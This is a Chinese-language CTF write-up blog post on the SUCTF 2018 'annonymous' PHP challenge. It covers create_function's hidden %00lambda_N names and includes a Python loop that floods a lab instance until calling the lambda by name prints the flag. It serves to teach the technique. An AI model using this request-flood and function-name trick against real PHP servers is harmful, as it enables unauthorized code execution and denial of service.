刷题笔记:[SUCTF 2018]annonymous


前言

关键字:[create_function]

<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

题解

create_function()用法见刷题笔记:[BJDCTF2020]EzPHP

<?php

$lambda = create_function('', 'return 1;');
print_r($lambda);

注意没加括号,会打印%00lambda_%d这样形式的字符串,也就是匿名函数的函数名,会随着刷新不断增大。

%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动Apache启动新的线程,这样这里的%d会刷新为1

import requests

i = 0
while True:
    r = requests.get('http://471d0bad-6115-4107-a4ab-33cd2cb83b26.node4.buuoj.cn:81/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break
    i += 1
    print(i)

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录